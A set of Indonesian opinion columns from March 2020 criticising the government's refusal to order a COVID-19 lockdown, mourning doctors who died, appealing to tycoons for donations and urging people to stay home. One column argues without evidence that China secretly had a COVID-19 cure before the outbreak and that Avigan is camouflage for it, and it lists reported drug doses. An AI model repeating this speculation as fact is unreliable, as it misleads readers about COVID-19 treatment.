Bagaimana bisa makan? Nah itu dia soalnya. Soal ini saya tak mampu mikir, apalagi punya jalan keluar. Ini masalah berat. Betul-betul berat. Ini Indonesia. Bukan Malaysia, Bukan Ferancis, bukan Australia, bukan Italia. Mereka itu, negara-negara yang tak punya Pancasila, tetapi lakukan lockdown. Kita? Jangan mikir itu. Itu urusan Presiden. Kata Pak Jendral Doni, Ketua Gugus Tugas Percepatan Penanganan Corona, dirinya telah diinstruksikan Presiden untuk tak ada lockdown (republika.co.id 21/3/2020). Lho ko Presiden sampaikan instruksi itu Pak Doni? Aneh. Ini janggal, tak masuk akal. Inilah soalnya. Ada apa Pak Presiden? Terus terang, terasa berat mengatakan Presiden telah menyepelekan UU Nomor 6 Tahun 2018 Tentang Kekarantinaan Kesehatan. Tapi tak tersedia kata lain untuk itu. Bikin UU bersama-sama dengan DPR, ko begini jadinya. UU Nomor 6 Tahun 2018 kan jelas, lockdown “Pembatasan Sosial Berskala Besar” hanya bisa dilakukan oleh Presiden. Kewenangan ini tidak bisa didelegasi. Tetapi ko kasih instruksi ke Pak Jendral Doni tak ada Lockdown? Memangnya Pak Doni mau lockdown? Tak mungkin. Apa Pak Presiden curiga sama Pak Jendral Doni? Apa Pak Presiden tak mengenal Pak Jendral Doni? Yang sangat santun dan terlihat sangat tawaddu itu? Pak Presiden harus diberitahu bahwa Lockdown bisa dilakukan hanya oleh Presiden sendiri. Itu pun dilakukan setelah lebih dahulu Presiden deklarasi “Kedaruratan Kesehatan Masyarakat”. Darurat Kesehatan itu, bukan tanggap darurat menurut UU Nomor 24 Tahun 2007 Tentang Penanggulangan Bencana. Lockdown itu juga bukan darurat sipil, bukan darurat militer, bukan darurat perang menurut UU Darurat Nomor 23 Tahun 1959. Beda Pak Presiden. Dalam Kedaruratan Kesehatan Masyarakat, militer tak bisa apa-apa. Kewenangan pemerintahan sepenuhnya berada ditangan Presiden. Militer, dalam Kedaruratan Kesehatan Masyarakat malah tak dilibatkan menurut UU ini. Panglima, KASAD, KASAL, KASAU, semuanya tak punya wewenang dalam kedaruratan Kesehatan Masyarakat. Apa yang dipikirkan Pak Presiden? Apa negara ini benar-benar tak punya cukup uang? Apa uang yang ada memang diplot hanya untuk infrastruktur dan pembangunan Ibukota negara yang baru saja? Apa uang yang ada hanya untuk interfensi pasar modal dan rupiah? Apa kalau uang negara yang tersedia saat ini dipakai membeli makan dan minum rakyat, akan mengakibatkan negara ini bangkrut? Lockdown memang memiliki efek catastropicaly kemana-mana. Sangat explosive. Ekonomi bisa lumpuh, setidaknya sangat parah. Memang ini harus ditimbang betul. Tetapi terasa tak masuk akal bila penyelamatan kesehatan dan nyawa orang, harus diletakan pada level kedua setelah pertimbangan eksistensi ekonomi. Subhanallah. Presiden tak boleh tiba saat, tiba akal. Tak boleh parsial Pak Presiden. Sudah lockdown, tapi tak mau bilang lockdown. Imbauan tak boleh keluar rumah, patroli di jalan-jalan, bubarkan orang di jalan-jalan, pembatasan jam operasi trans jakarta, pembatasan masuknya orang asing. Itu semua merupakan tindakan karantina. Itulah karantina “Pembatasan Sosial Berskala Besar”. Nama populernya itu Lockdown Pak Presiden. Karantina itu telah memakan TKA asal China yang berjumlah 43 orang, setelah sebelumnya 49 TKA illegal asal Cihna di Kendari terbongkar dan dikarantina. Mereka yang 43 itu tak lolos tes kesehatan di Bandara Soeta. Ini namanya karantina di pintu masuk Pak Presiden. Pembatasan di perbatasan wilayah darat juga sama. Ini juga karantina di pintu masuk. Kerangkanya adalah Pembatasan Sosial Berskala Besar. Ya lagi-lagi namanya Lockdown Pak Presiden. Praktis lockdown itu sebenarnya telah terjadi secara parsial, diam-diam, dan tanpa didahului deklarasi Presiden tentang “Kedaruratan Kesehatan Masyarakat.” Jadi? Untuk apa beri instruksi tidak ada lockdown Pak Presiden? Aneh memang. Tapi, ya beginilah negeri kita ini. Memang harus diakui, dengan karantina tanpa didahului “Deklarasi Kedaruratan Kesehatah Masyarakat” Lockdown, maka pemerintah tak harus tangung mengurus makan dan minum masyarakat. Beda dengan karantina yang didahului “Deklarasi Kedaruratan Kesehatan Masyarakat”. Dalam soal ini, pemerintah harus tanggungjawab atas makan dan minum rakyat. Ini negeri kita, baik ataupun buruk. Ini bukanlah Malaysia. Setelah Lockdown, Malaysia urus kehidupan rakyatnya. Bahkan mereka menyewa pesawat memulangkan rakyatnya yang ada di Iran dan India. Francis dan Utalia juga sama. Pemerintah mereka keluarkan uang untuk hidupi rakyatnya sehari-hari. Tentu saja ala kadarnya. Amerika, negeri yang dituduh China dan Iran sebagai sumber virus ini malah lebih maju lagi. Negeri imperial ini punya politik bipartisan. Demokrat dan republik punya idiologi berbeda dalam memandang negara dan pemerintah. Haluan idiologis itu diimplementasi dengan sangat jelas dalam kehidupan nasional mereka di semua lini, termasuk di Kongres. Sangat terbelah mereka. Tetapi mereka hebat dalam urusan menolong rakyatnya. Dalam soal ini, mereka jelas dalam semua aspeknya. Mereka bersatu, bahu-membahu menolong rakyat. Dalam urusan corona mematikan ini, Demokrat yang maju memprakarsai pembentukan UU yang akan dijadikan dasar pemerintah memberi insentif kepada rakyat. Terutama para pekerja. Bill yang diprakarsai Demokrat itu namanya “The Families First Coronavirus Responses Bill”. Kongres setuju. Bill ini diterima dengan komposisi suara 363 berbanding 40. Trumph? Teken. Jadilah The Families First Coronavirus Responses Act (Vox.com, 14/3/2020). Top mereka. Sudahlah, Amerika memang bukan tandingan kita dalam mengurus rakyatnya. Kita baru dilebel Amerika sebagai negara kaya. Tetapi itu cuma akal-akal mereka saja. Hebat, sejauh ini tak terdengar rakyat Indonesia meminta insentif pemerintah. Orang-orang miskin, dan pekerja serabutan di tengah musim tak boleh keluar rumah, di tengah corona ini pun patuh saja. Sami’na wata’na kepada pemerintah. Semoga tak Lockdown itu semata-mata karena negara ini kekurangan uang. Lockdown bakal menyulitkan pemerintah, bakal membuat ekonomi berantakan. Semoga itu saja pertimbangannya. Tidak lebih dari itu. Bukan karena Presiden berpikir rakyat masih bisa makan. Semoga Presdie tidak takabur. Subhanallah, terlalu berat bila sampai takabur. Mari saling menjaga, membantu dengan cara tidak kemana-mana. Berada di rumah saja, dan rajin cuci tangan. Jangan minta hand sanitazer, masker, infektan, chlorokuin, avigan dan lainnya. Jangan minta insentif pemerintah. Pemerinah lagi susah. Mari tawakkallah kepada Allah semata. Ikhlaskan semua ini pada-Nya. InsyaAllah rahmat-Nya selalu menyertai kita semua. Semoga. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Polemik Anti-virus Corona, Avigan atau Lainnya?

Oleh Mochamad Toha Jakarta, FNN - "Seandainya saya terkena Covid-19 dan dokter hanya bisa memberikan Hydrochloroquine-nya Trump atau Avigan-nya Jokowi, saya pun akan meminumnya,” ungkap Dahlan Iskan, seperti ditulis di Pepnews.com, Minggu (22 Maret 2020 | 07:04 WIB). Dalam tulisan berjudul “Obat Covid” yang dikutip dari bloknya, Disway.id tersebut, mantan Menteri BUMN era Presiden Susilo Bambang Yudhoyono menegaskan, “Semua tahu: belum ada obat untuk Covid-19. Tapi apakah pasien tidak perlu diobati?” Menurut Mas DI, para dokter pasti berada dalam dilema yang luar biasa. Lalu harus membuat keputusan. Dokter tidak boleh terus-menerus dalam keraguan. Saat akhirnya membuat keputusan dokter sudah memikirkannya berdasar keahliannya. Bukan berdasar perintah atau instruksi atau tekanan. Itulah sebabnya pekerjaan dokter disebut 'profesi'. Bukan pekerjaan biasa. “Mereka harus punya ilmu di bidang itu dan harus punya otonomi untuk membuat keputusan,” jelasnya. “Sampailah dokter pada putusan: harus diberi obat apakah pasien ini,” lanjut DI. Padahal obat untuk Covid-19 belum ada. Mungkin juga dokter sudah tahu ada obat yang lebih baik dari itu. Tapi apakah obat yang lebih baik itu sudah ada di Indonesia? Maka DI bisa memaklumi dokter akan memberi obat apa pun yang menurut mereka terbaik di antara yang tersedia. DI pun mendapat info penting ini: di sebuah rumah sakit di Jakarta pasien Covid-19 diberi obat Oseltamivir 2 x 75 mg. Ditambah vitamin C. Juga Azithromycin 2 x500 mg atau Levofloxacin 1 x750 mg. Bagi pasien yang sudah agak berat ditambah Chloroquine sulphate 2x 500 mg. Lalu ditambah lagi obat lain berdasar penyakit lain yang ditemukan di pasien Covid-19. Misalnya, ditambah Hepatoprotektor bagi pasien yang punya masalah liver. Misalnya SGPT/SGOT-nya tinggi. “Mungkin dokter di rumah sakit lain berbuat lain lagi. Atau sama. Sesuai dengan keilmuan dan otonomi mereka,” tulis DI. Tulisan Obat Covid tersebut menggambarkan betapa dokter Indonesia begitu berat dalam menangani Covid-19 di Indonesia. Apalagi, seperti disebut DI di awal tulisannya: belum ada obat Covid-19! Tapi, saya justru sebaliknya. Obat Covid-19 sebenarnya sudah ditemukan oleh China, jauh sebelum Virus Corona mewabah di China dan mendunia. Cobalah pikir pakai logika! Jika memang China belum menemukan serum atau vaksin anti Corona, mana mungkin wabah corona di China korbannya hari-hari ini mulai menurun atau malah nol kematian. China pasti telah memiliki obatnya! Atau malah sudah produksi besar-besaran. Makanya, Presiden China, Xi Jinping mengatakan siap membantu negara-negara yang saat ini tengah 'berperang' melawan penyebaran pandemi virus corona. Melansir CNN Indonesia, Jumat (20/03/2020 07:31 WIB), pernyataan Xi itu disampaikan di tengah percakapan telepon dengan Presiden Rusia, Valdimir Putin. Mengutip kantor berita Xinhua, Xi mengatakan jika Beijing bersedia membantu dan bekerja sama dengan Rusia dan negara lain untuk menjaga keamanan dan kesehatan masyarakat global. “China memiliki kepercayaan diri, kapasitas, dan kepastian untuk mencapai kemenangan melawan epidemi Covid-19,” tulis Xinhua mengutip ucapan Xi. Merespons pernyataan Xi, Putin mengaku mengapresiasi langkah China dalam menekan penyebaran virus corona. “Rusia sangat menghargai upaya China (memerangi virus corona). China juga telah memberi contoh bagi bagi masyarakat internasional dengan memberikan bantuan bagi negara yang sedang dilanda pandemi,” ujar Putin merespons ucapan Xi. Pandemi virus corona yang pertama kali dilaporkan di Wuhan, China pada akhir Desember 2019 hingga saat ini telah menyebar ke 158 negara di dunia. Hingga saat ini lebih dari 10 ribu orang dinyatakan meninggal akibat virus corona. Sementara kasus penyebarannya telah mencapai 246.148 dengan 85.763 pasien dinyatakan sembuh. Kendati angka kematian terus meningkat, untuk pertama kalinya China melaporkan tidak ada kasus infeksi baru di negaranya pada Kamis (19/3/2020). Jika diakumulasi, angka kematian akibat virus corona di seluruh dunia hingga kini juga telah melampaui China. Sementara di Indonesia, Pemerintah melaporkan hingga saat ini ada 514 kasus positif virus corona. Dari angka itu, sebanyak 48 kasus meninggal dan 29 sembuh. “Total yang meninggal pada posisi sekarang adalah 48 orang,” kata Ahmad Yurianto, Minggu (22/3/2020). Menurut Jubir pemerintah untuk penanganan virus corona ini, rasio tingkat kematian tersebut menempatkan Indonesia pada Case Fatality Rate (CFR) atau tingkat kematian 9,3 persen. Ini artinya, tingkat kematian Indonesia di atas Italia, atau tertinggi di dunia. Salah satu episentrum virus corona dunia, Italia dengan 53.578 kasus positif dan 4.825 kasus meninggal mencatatkan tingkat kematian 9,01 persen. Secara global, berdasarkan pantauan dari Research Center Johns Hopkins University saat ini, tercatat ada 307.297 kasus positif di seluruh dunia dengan kematian 13.049 kasus. Tingkat kematian global ada di angka 4,25 persen. Jadi, Indonesia tertinggi! Sementara China sebagai pandemi, seperti dikutip CNN Indonesia, Jumat (20/03/2020 06:24 WIB), berada di ambang kemenangan dalam perang melawan virus corona. Beberapa terakhir ini laporan kasus baru Covid-19 di dalam negeri China terus menurun. Rumah sakit darurat di Kota Wuhan, Provinsi Hubei yang dibangun untuk menangani pasien Covid-19 telah ditutup. AFP melaporkan, orang-orang di China sudah mulai pergi bekerja, pabrik-pabrik beroperasi, dan sekolah di beberapa wilayah telah dibuka. Satu hingga dua bulan lalu, puluhan hingga ribuan orang meninggal akibat virus corona. Total ada 3.249 korban jiwa termasuk petugas kesehatan yang “berdarah-darah” berjaga di garda paling depan menanggulangi virus corona. Untuk pertama kalinya sejak kasus virus corona mencuat, China pada Kamis (19/3/2020) melaporkan tidak ada kasus baru di dalam negeri. Ini merupakan kali pertama China nihil pasien baru positif Covid-19 sejak virus itu mewabah, pada Januari 2020 lalu. Tren penurunan jumlah kasus baru tersebut sudah terjadi sejak sepekan terakhir. Seperti dikutip dari AFP, minimnya kasus baru di dalam negeri menandakan upaya penanganan pandemi virus corona di China telah menemui titik terang. Pada Februari 2020, China melalukan “uji coba” obat Covid-19. Seperti diungkap DI dalam tulisannya, obat itu disuntikkan kepada dokter dan perawat militer yang ditugaskan di rumah sakit khusus darurat di gedung olahraga Wuhan. Hasilnya: sampai tugas mereka selesai minggu lalu tidak satu pun dokter dan perawat militer itu yang tertular. Tapi, obat itu masih harus melewati banyak uji coba lagi. Terutama untuk menentukan ada tidaknya efek samping dan serapa banyak dosis yang diperlukan. Mayjen Chen Wei, ilmuwan wanita yang mengepalai proyek penemuan obat Covid-19 itu Sabtu kemarin memberikan keterangan baru. Percobaan lanjutan sudah dilakukan kepada relawan dari tiga kota: Wuchang, Hongshan, dan Donghu Scenic Area. Semuanya di sekitar Wuhan. Percobaan itu dilakukan dalam tiga kelompok. Yakni kelompok dosis rendah, dosis sedang, dan dosis tinggi. Masing-masing kelompok 26 orang relawan. DI yang dikenal dekat dengan China tentu punya akses informasi di sana. Sehingga, akurasi tulisannya tidak perlu diragukan. Namun, soal obat Covid-19 yang masih “uji coba lagi” itu, secara logika sangat tidak masuk akal. Karena, faktanya, China berhasil “memerangi” virus Corona yang mewabah tersebut. Artinya, China sebenarnya sudah punya – dan mungkin juga sudah memproduksi – obatnya secara besar-besaran jauh sebelum Covid-19 itu mewabah di China dan mendunia. Buktinya, Presiden Xi berani menawarkan bantuan kepada negara lain. Setidaknya, Italia dan Indonesia sudah “diberi bantuan” oleh China. Berton-ton obat-obatan beserta tenaga medis masuk ke Italia. Indonesia juga telah menerima bantuan peralatan medis dan “obat” juga dari China yang diangkut pesawat Hercules. Melansir Liputan6.com, Jum’at (20 Mar 2020, 20:48 WIB) Presiden Jokowi memesan jutaan obat yang disebut bisa menyembuhkan pasien virus Corona. Obat itu adalah Avigan, yang memiliki nama lain Favipiravir. Avigan telah melewati penelitian klinis di China untuk mengobati pasien Covid-19. Hasilnya, Avigan tidak menunjukkan reaksi merugikan dalam uji klinis, bahkan pasien yang menerima pengobatan menjadi negatif Covid-19 dalam waktu yang lebih singkat. Administrasi Produk Medis Nasional telah mengizinkan sebuah perusahaan farmasi China untuk memproduksi obat ini secara massal dan memastikan pasokan yang stabil. Jokowi pun memesan jutaan Avigan untuk digunakan pasien Covid-19 di Indonesia. Berbeda dengan Indonesia, Korea Selatan memutuskan untuk tidak menggunakan Avigan sebagai pengobatan virus Corona jenis baru karena keraguan atas kemanjuran dan efek samping potensialnya. Kementerian Keamanan Pangan dan Obat-obatan Korsel mengatakan, telah memutuskan untuk tidak mengimpor Avigan setelah tim ahli penyakit menular di sini memutuskan tidak ada cukup data klinis untuk membuktikan kemanjuran obat tersebut. Mengutip kantor berita Yonhap, Jumat (20/3/2020), Avigan disetujui sebagai obat cadangan untuk influenza reemergent di Jepang pada 2014. Tapi itu belum digunakan untuk mengobati flu biasa karena beberapa penelitian pada hewan menunjukkan potensi kerusakan janin. “Avigan tidak hanya menunjukkan kemanjuran selama studi uji tetapi juga tidak ada data uji klinis yang dilakukan pada pasien,” kata ahli penyakit menular Oh Myoung-don. Obat ini juga menunjukkan efek samping serius: kematian janin dalam penelitian pada hewan. Makanya, perlu dipertanyakan lagi, apakah China memang menggunakan Avigan untuk obat Covid-19 di China? Sebodoh itukah China, Jepang dan Korsel saja tidak menggunakan untuk obat Covid-19? Ataukah Avigan itu hanya kamuflase untuk menutupi bahwa China sebenarnya sudah punya “obat” Covid-19 asli yang “dikemas” sebagai Avigan? Narkoba saja bisa diselundupkan dalam beton tiang listrik ke Indonesia, apalagi cuma obat! *** Penulis wartawan senior.

Wahai Para Taipan dan Konglomerat di Manakah Kau Berada?

Oleh Hersubeno Arief Jakarta, FNN - Presiden Jokowi sudah memutuskan tidak akan melakukan lockdown. Bagi yang paham, keputusan itu tidak mengagetkan. Sudah bisa diduga. Urusannya tidak jauh-jauh dari soal keterbatasan anggaran, namun punya ambisi gede di proyek mercusuar. Pemerintah tidak akan mampu menanggung beban dan konsekuensi anggaran bila harus melakukan lockdown? Sebenarnya tidak juga begitu. Hanya konskuensinya sangat besar. Di tengah ambisi rezim Jokowi yang gila-gilaan menggenjot proyek infrastruktur. Termasuk membangun ibukota baru. Kalau harus dialihkan ke biaya sosial dan ekonomi sebagai dampak mengatasi penyebaran corona, semuanya bisa berantakan dong. Bagaimana komitmen dengan para cukong? Bagaimana komitmen dengan negara donor? Terus warisan apa pula yang akan ditinggalkan oleh Jokowi? Infrastruktur tidak. Ibukota baru tidak. Ekonomi juga tidak. Kohesi bangsa berantakan. Semua itu harus dilupakan. Nah inilah yang jadi dilema besar. Tak perlu heran bila pemerintah tampak ragu, bingung, gagap dan walhasil membuat keputusan yang hanya bikin geleng-geleng kepala publik. Tapi marilah kita lupakan semua itu. Tak ada gunanya kita teriak-teriak: lockdown…lockdown. Teriak dan ngedumel korban terus bertambah. Fasilitas kesehatan sudah overloaded. Tenaga medis kewalahan. Sudah banyak dokter dan tenaga medis yang gugur karena alat pelindung diri (APD) tak memadai. Semuanya percuma. Kepentingan masyarakat dengan kepentingan pemerintah memang beda kok. Jadi untuk apa harus dipaksakan? Masak masih tidak paham juga? Lebih baik energi yang ada kita manfaatkan untuk hal-hal yang positif. Kalau pemerintah tidak juga melakukan lockdown, ambil inisiatif sendiri. Tak usah bepergian. Jaga jarak. Hindari kerumanan dan kegiatan berupa pengumpulan massa. Semua aktivitas cukup dilakukan di dalam rumah. Kalau semua melakukan langkah itu, kan sama juga dengan lockdown. Bila pemerintah tak mampu menyediakan anggaran untuk para pekerja formal yang terpaksa harus tetap bekerja, agar tetap makan, kita juga bisa mengambil inisiatif sendiri. Tidak usah besar-besar. Coba perhatikan lingkungan di sekitar. Siapa saja saudara, tetangga, para kaum fakir miskin yang kemungkinan bakal tidak makan. Kita bisa patungan. Kumpulkan kan duit, bahan pangan, minuman. Bagikan kepada mereka. Yang punya uang lebih, silakan borong sembako. Bukan untuk ditimbun. Bagikan kepada warga yang membutuhkan. Kalau ini menjadi gerakan nasional, Insya Allah tidak akan ada yang mati kelaparan. Lebih advance lagi bila kita juga bisa mengumpulkan dana untuk membantu para tenaga medis membeli alat pelindung diri (APD). Harganya sangat mahal. Hanya boleh sekali pakai. Jangan lupa juga perhatikan keluarga para pahlawan medis. Mereka ditinggalkan berhari-hari. Berjuang di medan tempur terdepan, mempertaruhkan nyawa. Tidak pulang ke rumah demi menyelamatkan nyawa saudara-saudara kita yang sakit. Demi nama baik bangsa di mata dunia. Sudah enam orang dokter yang gugur. Mereka adalah keluarga para pahlawan pejuang! Jangan sampai terlantar. Malu kita sebagai bangsa yang besar! Peran Para Pengusaha Kita patut juga mengapresiasi dan meneladani sejumlah pengusaha yang mengambil inisiatif menyumbangkan dananya. Pemilik kosmetik Wardah Nurhayati Subakat menyumbang sebesar Rp 40 miliar untuk peralatan medis di beberapa RS. Pengusaha Sandiaga Uno melalui program OK OCE menyediakan dana untuk keluarga yang para kepala keluarga positif corona. Pengusaha yang tergabung di KADIN bekerjasama dengan Yayasan Buddha Tzu Chi mengumpulkan dana untuk membeli alat test cepat corona. Targetnya dana yang terkumpul Rp 500 miliar. Pengusaha Tommy Winata melalui Yayasan Artha Graha Peduli membangun tiga rumah sakit lapangan yang lengkap di komplek SCBD Jakarta. Tapi mana aksi taipan dan konglomerat lain? Terutama yang namanya bertengger dalam 100 orang terkaya di Indonesia? Data yang dilansir oleh Political Economy and Policy Studies (PEPS) menyebutkan, harta empat orang terkaya Indonesia setara dengan lebih dari 100 juta orang miskin di Indonesia. Artinya apa? Kalau 100 orang ini kompak menyisihkan sebagian kecil saja hartanya. Sekali lagi hanya sebagian kecil saja, maka kita tidak perlu khawatir ada yang mati kelaparan karena tidak bekerja selama beberapa bulan. Ironisnya seperti yang disampaikan oleh Dirut PT Garuda Irfan Setia Putra, kita malah menghadapi sebuah anomali. Tiba-tiba penerbangan Garuda ke Singapura full. Mereka bahkan menambah frekuensi penerbangan karena tingginya permintaan. Banyak yang berbondong-bondong mengungsi ke negeri jiran itu. Padahal Singapura memberlakukan aturan ketat. Semua pengunjung harus menjalani karantina selama 14 hari. Mereka juga harus bisa menunjukkan bukti tempat tinggal tetap di Singapura. Dengan syarat ketat semacam itu, kita menjadi tahu kelompok mana yang mampu melakukannya. Mereka adalah orang-orang kaya, super kaya. Orang-orangnya ya itu-itu juga. Kelompok yang sering disebut sebagai the crazy rich. Kelompok yang kayanya gak ketulungan. Kita bisa gila membayangkannya. Buat mereka masa bodoh apa yang terjadi di Indonesia. Yang penting mereka sudah selamat sendiri. Nanti ketika Indonesia sudah aman, baru pulang. Kembali mengeruk kekayaan. Bukankah dalam situasi ekonomi yang kacau balau justru disitulah peluang besar buat mereka? Wahai para taipan dan konglomerat. Kemanakah dan dimanakah kau berada? End Penulis wartawan senior.

Para Rambo di Medan Perang Corona

Oleh Hersubeno Arief Jakarta, FNN - "Innalillaahi wa inna ilaihi roji’uun...telah berpulang ke rahmatullaah, sejawat kami, adik kami, yg kami sayangi dan hormati, dr Hadio Ali Sp.S, pagi ini pukul 04.00, dg ARDS berat positif Covid 19.” “Semoga Allah memaafkan semua kesalahannya dan mengampuni dosa2nya, membebaskannya dari azab kubur, serta memberikan tempat terbaik baginya di surga, aamiin yaa robbal alamiin…” Pesan yang disampaikan dr Ani Hasibuan Sp.S di sebuah WAG itu dengan cepat menyebar. Ucapan bela sungkawa, duka cita, dan doa bersahut-sahutan. Hadio Ali Khazatsin dokter spesialis syaraf lulusan FK UI itu hanya salah satu dari tenaga medis yang meninggal dunia, setelah berjibaku di medan tempur menghadapi wabah Covid-19. Sebelumnya Ikatan Dokter Indonesia (IDI) mengakui tiga orang anggotanya meninggal dunia karena terpapar virus corona. Dua lainnya dokter senior ahli bedah dr Djoko Judodjoko asal Bogor, dan dr Adi Mirsa Putra juga dinyatakan meninggal dunia. Selain ketiga dokter itu seorang perawat di RSCM, Jakarta juga dilaporkan meninggal dunia. Gubernur DKI Anies Baswedan, Jumat (20/3) mengakui 25 orang petugas medis di Jakarta positif Covid 19, satu di antaranya meninggal dunia. Meninggalnya para petugas medis ini selain mengundang kesedihan, sekaligus mengundang keprihatinan dan kekhawatiran. Bayang-bayang bahwa bahwa kita tak akan pernah memenangkan pertempuran melawan corona, berada di pelupuk mata. Peristiwa itu menunjukkan betapa rentannya para petugas medis yang berada di medan tempur terdepan, perang menghadapi Covid-19. Selain karena faktor kelelahan, mereka harus menghadapi realitas keterbatasan fasilitas RS dan alat pelindung diri (APD). Mereka seperti Rambo —jagoan dalam film Holywood— yang harus bertempur tanpa senjata dan alat pendukung yang memadai. Jadilah Rambo yang loyo! Dalam situasi negara menghadapi bencana, tenaga medis —terutama para dokter— adalah aset penting yang harus benar-benar dilindungi. Mereka lah pasukan yang berada di garda terdepan. Bila sampai mereka kewalahan, apalagi tewas di medan laga karena tak terlindungi dengan baik, siapa yang akan membantu warga. Wabah akan menyerbu warga tanpa ampun. Jangan sampai ada yang anggap enteng, anggap remeh dan berkata, “ah kan baru tiga orang saja.” “ Ah itu kan risiko dari sebuah pilihan profesi.” Sejak awal para dokter sesungguhnya telah menyampaikan kekhawatirannya. Mereka tidak akan mampu mengatasi perang melawan corona, bila jumlah pasien meledak. “Bantu kami menahan laju penyebarannya. Bantu kami mengurangi jumlah korban,” ucap Jubir RS Persahabatan, Jakarta dr Erlina Burhan berulang-ulang pada program ILC TV One. Karena itu mereka sangat mendukung dan menyerukan adanya gerakan social distancing (menjaga jarak), menghindari kerumunan, dan mengurangi aktivitas di luar rumah. Syukur-syukur kalau pemerintah berani melakukan lockdown, setidaknya untuk Jakarta dan wilayah lain yang menjadi episentrum penyebaran virus. Ketika pemerintah sudah memutuskan tidak melakukan lockdown, masyarakat harus mengambil inisiatif sendiri. Tidak usah melow dan marah-marah. Negara tidak hadir melindungi rakyatnya. Toh kita sudah terbiasa Para tenaga medis telah melancarkan kampanye “ *Kami Tetap Di Rumah Sakit DEMI ANDA. Anda tetap di rumah DEMI KAMI.”* Apa sih susahnya? Sayangnya masih banyak masyarakat yang menganggap remeh. Banyak di antaranya yang menggunakan alasan keyakinan dan agama. Himbauan pemerintah, fatwa MUI dan himbauan para pemuka agama dianggap sebagai angin lalu. Seruan Presiden Jokowi untuk bekerja dan beraktivitas dari rumah, tak digubris. Ada yang masih bersikap santai, dan menganggap remeh persoalan. Mereka tetap berkeliaran dan beraktivitas seperti biasa. Kegiatan keagamaan tetap normal, mall dan pusat pertokoan tetap buka, pesta pernikahan tetap digelar. Di Samarinda seorang wakil walikota malah menggelar pesta pernikahan besar-besaran. Puluhan ribu orang diundang. Dia berkilah tawakal dan berserah diri kepada Allah SWT. Seorang netizen menyebut perilaku semacam ini sebagai COVIDIOT. Perpaduan antara virus Covid-19 dan kelakuan idiot. Egois dan dungu! Mereka tidak berpikir perilakunya bukan hanya membahayakan diri sendiri, tapi juga orang lain. Perilakunya bisa menyebabkan jumlah positif corona meningkat dan para tenaga medis tak mampu melayani. Perilaku Covidiot ini tentu saja tidak berlaku bagi para pekerja harian. Mereka yang hanya bisa makan bila tetap bekerja. Mereka dihadapkan pada pilihan: Tetap bekerja dan terpapar corona. Atau tidak bekerja, dan keluarga mati kelaparan. Tugas pemerintah untuk membantu dan memikirkannya. Pilihan Sulit Para ahli sudah mengingatkan kemungkinan jumlah penderita di Indonesia akan meningkat drastis. Fasilitas kesehatan dan tenaga medis tidak akan memadai. Dari ke hari jumlah yang positif terpapar dan meninggal dunia juga meningkat signifikan. Ada yang menduga jumlah sesungguhnya jauh lebih besar. Ada yang tak terdiagnosa dan tidak tercatat. Jangan sampai kita mengalami peristiwa memilukan seperti Itali. Para dokter dihadapkan pilihan sangat-sangat sulit. Mereka terpaksa memilih (filterisasi) pasien mana yang masih bisa diselamatkan dan mana yang tidak. Mereka tutup mata dan membiarkan pasien yang secara medis tak mungkin lagi diselamatkan. Biasanya yang menjadi korban filterisasi adalah pasien yang berusia tua. Seorang dokter disumpah untuk menghormati kehidupan. Satu nyawapun, bahkan sejak masih berbentuk janin harus dihormati. Namun ketika jumlah pasien membludak tak tertangani. Tenaga dan kemampuan terbatas. Nyawa mereka sendiri terancam. Apa yang harus dilakukan. Mereka terpaksa harus memilih. Sungguh sebuah dilema profesi yang sangat berat. Bukan hanya tragedi atas profesi kedokteran, tapi menjadi tragedi bangsa. End Penulis wartawan senior.

Stop, Jangan Jadi Agen Covid-19

Masker susah dan harganya selangit. Itu ujian bagi bangsa ini. Di saat-saat sulit selalu saja ada "iblis kapitalis datang beraksi". Bukannya nyumbang, malah cari keuntungan. Berharap pemerintah menertibkan. Lebih baik membagikan saja dengan gratis. Tidak sekedar janji. Duit dari mana? Pajak dari rakyat sudah dibayarkan pak! By Tony Rosyid Jakarta FNN – Minggu (22/03). Hanya 15 persen yang positif Covid-19 ketahuan gejalanya. Mungkin bisa batuk, sesak nafas dan demam. Ini gejala umum, kata orang medis. Sisanya sekitar 85 persen lagi, nggak ada tanda-tandanya. Jika angka positif Covid-19 day to day naik drastis, karena mereka memang tak dikenali gejalanya. Tahu-tahu sudah parah. Dua-tiga hari, pek dan mati. Terutama terhadap mereka yang daya tahan tubuhnya (imunnya) lemah. Usia 0-40 tahun, umumnya relatif kuat daya tahan tubuhnya. Meski tak menjamin. Di atas usia 40 tahun, rentan. Kenapa petinju disarankan pensiun usia 40 tahun, karena fisik sudah mulai melemah. Di atas usia 50, 60, 70 tahun, jauh lebih rentan. Ini bicara kondisi secara umum. Artinya, di atas usia 40 tahun mesti lebih waspada. Jaga stamina, hidup sehat dan lebih disiplin lagi. Usia 0-40 tahun? Tak menjamin fisik anda semuda usia anda. Apalagi jika anda perokok, suka begadang, jarang olah raga, asupan makanan tak bergizi, kerja lelah atau stres, maka akan rentan juga. Yang sehat? Jangan jadi agen virus. Anda kuat, dan daya tahan tubuh anda bagus, tapi anda membawa virus kemana-mana. Anda menularkan virus ke banyak orang. Diantara mereka mati gara-gara tertular dari anda. Dosakah? Pasti! Apapun agama anda, itu dosa sosial. Itu dosa kemanusiaan. Karena anda sengaja berkeliaran di luar, berinteraksi dengan banyak orang, bersalaman dan nongkrong yang tak perlu. Jika kita cinta bangsa ini, jangan menjadi agen virus. Caranya? Stay di rumah. Diem di rumah. Kecuali ada urusan dan kebutuhan super urgent. Itupun mesti dilakukan dengan cara-cara sehat. Apa cara yang sehat? Jangan bersentuhan dengan orang lain, meski salaman. Jaga jarak 1,5 meter. Upayakan pakai masker. Ini baru betul-betul "Pancasilais dan pro NKRI". Masker susah dan harganya selangit. Itu ujian bagi bangsa ini. Di saat-saat sulit selalu saja ada "iblis kapitalis datang beraksi". Bukannya nyumbang, malah cari keuntungan. Berharap pemerintah menertibkan. Lebih baik membagikan dengan gratis. Tidak sekedar janji. Duit dari mana? Pajak rakyat sudah dibayarkan pak! Cara murah dan paling aman memang stay di rumah. Keluar rumah hanya untuk keperluan yang sangat penting. Tapi, bagaimana dengan para pedagang kecil, uangnya hanya untuk hidup satu-dua hari? Dilematis! Memang, betul-betul dilematis. Pilih nyawa atau makan? Gak makan, mati juga. Disini pemerintah harus hadir. Sinergi pemerintah pusat dan daerah. Atasi mereka. Dari mana anggarannya? Dari pagu kegiatan lain. Batalkan, atau setidaknya kurangi anggaran-anggaran untuk kegiatan lain. Perjalanan dinas, studi banding, pembelian kebutuhan yang bisa ditunda tahun depan, hentikan 